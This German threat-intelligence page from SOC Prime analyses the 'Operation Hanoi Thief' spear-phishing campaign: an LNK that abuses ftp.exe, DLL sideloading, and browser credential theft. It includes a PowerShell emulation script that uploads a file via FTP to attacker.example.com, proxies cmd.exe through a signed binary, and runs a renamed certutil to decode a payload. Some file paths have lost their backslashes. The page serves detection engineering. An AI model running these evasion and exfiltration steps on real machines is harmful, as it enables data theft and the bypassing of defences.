SOC Prime Bias: Kritisch

02 Dez. 2025 18:54

Operation Hanoi Dieb: Bedrohungsakteur trifft vietnamesische IT- und Einstellungsteams

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Folgen
Operation Hanoi Dieb: Bedrohungsakteur trifft vietnamesische IT- und Einstellungsteams
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Eine Spear-Phishing-Operation mit dem Namen „Operation Hanoi Thief“ liefert ein bösartiges ZIP-Archiv, das eine Verknüpfung (LNK) und ein Pseudo-Polyglot-Dokument bündelt. Die Verknüpfung missbraucht ftp.exe zur Ausführung eines Batch-Skripts, das eine DLL namens MsCtfMonitor.dll in ProgramData ablegt und dann DLL-Sideloading über ctfmon.exe durchführt. Diese DLL, LOTUSHARVEST genannt, stiehlt Browser-Anmeldeinformationen und den Verlauf und exfiltriert die gesammelten Daten dann über HTTPS.

Analyse der Kampagne Operation Hanoi Thief

Forscher des SEQRITE Labs APT-Teams entpackten das ZIP-Archiv, dokumentierten die LNK-Kommandozeile, die ftp.exemissbraucht, beobachteten die Erstellung eines umbenannten certutil.exe Binaries und erkundeten die DLL-Sideloading-Kette. Sie erfassten weiter Netzindikatoren für die Datenexfiltration und schrieben die Kampagne einem wahrscheinlich von der chinesischen Regierung unterstützten Bedrohungsakteur zu.

Abhilfemaßnahmen

Verteidigungsrichtlinien umfassen das Blockieren der Ausführung verdächtiger LNK-Verknüpfungen, die Einschränkung der Verwendung nativer Windows-Tools wie ftp.exe und certutil.exe in nicht vertrauenswürdigen Skripten, die Durchsetzung von Kontrollen über DLL-Ladepfade und die Überwachung ausgehenden HTTPS-Verkehrs zu unbekannten Domains. Organisationen sollten auch eine strikte Filterung von E-Mail-Anhängen anwenden und die Benutzerschulung zu phishingähnlichen Verlockungen zum Thema Lebenslauf verstärken.

Reaktion

Lösen Sie Alarme aus, wenn MsCtfMonitor.dll in ProgramData erscheint, ftp.exe mit dem -s-Flag ausgeführt wird und ausgehende Anfragen an bekannte bösartige Domains gestellt werden. Quarantäne jeglicher betroffener Dateien, isolieren Sie den kompromittierten Endpunkt und führen Sie eine Passwort- und Anmeldeinformationsrotation für betroffene Browser durch.

mermaid graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffcc99 classDef process fill:#ff9966 classDef malware fill:#ff6666 classDef operator fill:#ff9900 %% Nodes action_phishing[„<b>Aktion</b> – <b>T1566.001 Phishing: Spearphishing-Anhang</b><br />Adversar sendet ein bösartiges ZIP-Archiv an Zielbenutzer“] class action_phishing action file_malicious_zip[„<b>Datei</b> – Name: Le‑Xuan‑Son_CV.zip<br />Enthält CV.pdf.lnk und getarnte PDF/PNG“] class file_malicious_zip file action_user_exec[„<b>Aktion</b> – <b>T1204.002 Benutzer-Ausführung: Bösartige Datei</b><br />Opfer entpackt das Archiv und öffnet die Verknüpfung“] class action_user_exec action file_lnk[„<b>Datei</b> – Name: CV.pdf.lnk (Verknüpfung)“] class file_lnk file action_shortcut_mod[„<b>Aktion</b> – <b>T1547.009 Boot oder Logon Autostart-Ausführung: Verknüpfungsmodifikation</b><br />LNK führt ftp.exe mit -s-Argument aus“] class action_shortcut_mod action tool_ftp[„<b>Tool</b> – Name: ftp.exe (Windows-SystemBinary)“] class tool_ftp tool action_proxy_exec[„<b>Aktion</b> – <b>T1218 System-Binary-Proxy-Ausführung</b><br />Legitime Binaries werden missbraucht, um versteckte Befehle auszuführen“] class action_proxy_exec action tool_device_cred_deploy[„<b>Werkzeug</b> – Name: DeviceCredentialDeployment.exe“] class tool_device_cred_deploy tool tool_certutil[„<b>Werkzeug</b> – Name: certutil.exe“] class tool_certutil tool action_masquerade[„<b>Aktion</b> – <b>T1036.008 Maskierung: Dateityp<br>T1036.007 Maskierung: Doppelte Erweiterung</b><br />Payload getarnt als PDF/PNG und später umbenannt“] class action_masquerade action file_masq_pdf[„<b>Datei</b> – Name: offsec‑certified‑professional.png (eigentlich PDF)“] class file_masq_pdf file action_compression[„<b>Aktion</b> – <b>T1027.015 Verschleierte Dateien oder Informationen: Kompression</b><br />ZIP wird verwendet, um bösartigen Payload zu liefern“] class action_compression action action_compile_after_delivery[„<b>Aktion</b> – <b>T1027.004 Kompilieren nach der Lieferung</b><br />Base64-codierte DLL aus Polyglot-Skript extrahiert“] class action_compile_after_delivery action action_dll_sideload[„<b>Aktion</b> – <b>T1574.002 DLL-Sideloading</b><br />Bösartige DLL neben ctfmon.exe platziert“] class action_dll_sideload action file_ctfmon_exe[„<b>Datei</b> – Name: ctfmon.exe (in Arbeitsverzeichnis kopiert)“] class file_ctfmon_exe file file_malicious_dll[„<b>Datei</b> – Name: MsCtfMonitor.dll (bösartig)“] class file_malicious_dll malware action_process_injection[„<b>Aktion</b> – <b>T1055.001 Prozessinjektion: DLL-Injektion</b><br />Seitengeladene DLL, die durch ctfmon.exe geladen wird, führt Angreifercode aus“] class action_process_injection action action_browser_discovery[„<b>Aktion</b> – <b>T1217 Browser-Informationsabfrage</b><br />DLL liest Chrome- und Edge-SQLite-Datenbanken für URLs“] class action_browser_discovery action action_credential_extraction[„<b>Aktion</b> – <b>T1555.003 Anmeldeinformationen aus Webbrowsern</b><br />Passwörter entschlüsselt über CryptUnprotectData“] class action_credential_extraction action action_exfiltration_auto[„<b>Aktion</b> – <b>T1020 Automatisierte Exfiltration</b><br />Daten vorbereitet zur Exfiltration über HTTPS“] class action_exfiltration_auto action action_exfiltration_c2[„<b>Aktion</b> – <b>T1041 Exfiltration über C2-Kanal</b><br /><b>T1102 Webservice</b><br />Daten werden über HTTP POST an Angreiferdomain gesendet“] class action_exfiltration_c2 action %% Connections action_phishing u002du002d>|liefert| file_malicious_zip file_malicious_zip u002du002d>|enthält| file_lnk file_lnk u002du002d>|ausgelöst durch| action_user_exec action_user_exec u002du002d>|führt zu| action_shortcut_mod action_shortcut_mod u002du002d>|führt aus| tool_ftp tool_ftp u002du002d>|verwendet in| action_proxy_exec action_proxy_exec u002du002d>|verwendet auch| tool_device_cred_deploy action_proxy_exec u002du002d>|verwendet auch| tool_certutil action_shortcut_mod u002du002d>|verwendet| action_masquerade action_masquerade u002du002d>|erstellt| file_masq_pdf action_masquerade u002du002d>|setzt auf| action_compression action_compression u002du002d>|ermöglicht| action_compile_after_delivery action_compile_after_delivery u002du002d>|produziert| file_malicious_dll action_compile_after_delivery u002du002d>|bereitet vor| action_dll_sideload action_dll_sideload u002du002d>|platziert DLL mit| file_ctfmon_exe action_dll_sideload u002du002d>|platziert| file_malicious_dll file_ctfmon_exe u002du002d>|lädt| file_malicious_dll file_malicious_dll u002du002d>|führt durch| action_process_injection action_process_injection u002du002d>|ermöglicht| action_browser_discovery action_browser_discovery u002du002d>|liefert Daten an| action_credential_extraction action_credential_extraction u002du002d>|liefert Daten an| action_exfiltration_auto action_exfiltration_auto u002du002d>|sendet Daten über| action_exfiltration_c2 %% Class Assignments class tool_ftp tool class tool_device_cred_deploy tool class tool_certutil tool class file_malicious_zip file class file_lnk file class file_masq_pdf file class file_ctfmon_exe file class file_malicious_dll malware

Angriffsablauf

Simulation Ausführung

Voraussetzung: Der Telemetrie- & Baseline-Pre-Flight-Check muss bestanden haben.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Adversary-Technik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die von der Erkennungslogik erwartete Telemetrie zu erzeugen.

  • Angriffserzählung & Befehle:
    Ein Angreifer, der Zugriff auf eine wenig privilegierte Shell auf einem kompromittierten Windows-Rechner hat, möchte Daten exfiltrieren und unauffällig bleiben.

    1. Stufe 1 – FTP-Skriptausführung: Der Angreifer erstellt ein temporäres Skript upload.txt mit FTP-Befehlen und führt ftp.exe -s upload.txt aus, um Dateien auf einen externen Server zu übertragen.
    2. Stufe 2 – Proxy-Befehlsausführung: Um die Verwendung von cmd.exe zu verbergen, startet der Angreifer DeviceCredentialDeployment.exe mit dem Argument cmd.exe /c whoami; das signierte Utility startet eine versteckte Befehlszeile und umgeht einfache Prozessnamen-Alarme.
    3. Stufe 3 – Maskierte certutil-Nutzung: Der Angreifer kopiert certutil.exe nach C:Templala.exe und führt lala.exe -decode malicious.b64 output.exe aus, um Payloads zu decodieren, wobei die Umbenennung genutzt wird, um dateinamenbezogene Erkennungen zu umgehen.
  • Regressionstest-Skript: Das folgende PowerShell-Skript reproduziert die drei Schritte auf wiederholbare Weise.

    # Regressionstest-Skript – löst die Erkennungsregel aus
    # 1. FTP mit -s-Flag
    $ftpScript = "$env:TEMPupload.txt"
    @"
    open attacker.example.com
    user testuser testpass
    put C:WindowsSystem32notepad.exe notepad.exe
    quit
    "@ | Set-Content -Path $ftpScript -Encoding ASCII
    Start-Process -FilePath "C:WindowsSystem32ftp.exe" -ArgumentList "-s `"$ftpScript`"" -NoNewWindow -Wait
    
    # 2. DeviceCredentialDeployment.exe Proxying cmd.exe
    $dccPath = "C:Program FilesDeviceCredentialDeploymentDeviceCredentialDeployment.exe"
    if (Test-Path $dccPath) {
        Start-Process -FilePath $dccPath -ArgumentList "cmd.exe /c whoami" -WindowStyle Hidden -Wait
    } else {
        Write-Host "DeviceCredentialDeployment.exe nicht gefunden – überspringe Schritt 2."
    }
    
    # 3. Maskierte certutil-Ausführung
    $original = "$env:SystemRootSystem32certutil.exe"
    $masq = "$env:TEMPlala.exe"
    Copy-Item -Path $original -Destination $masq -Force
    $payload = "$env:TEMPmalicious.b64"
    $output  = "$env:TEMPdecoded.exe"
    # Erstelle einen Dummy-Base64-Payload
    [IO.File]::WriteAllText($payload, [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("echo malicious")))
    Start-Process -FilePath $masq -ArgumentList "-decode `"$payload`" `"$output`"" -NoNewWindow -Wait
  • Cleanup-Befehle: Entferne während des Tests erstellte Artefakte.

    # Cleanup-Skript
    Remove-Item -Path "$env:TEMPupload.txt" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPmalicious.b64" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPdecoded.exe" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPlala.exe" -ErrorAction SilentlyContinue
    Write-Host "Bereinigung abgeschlossen."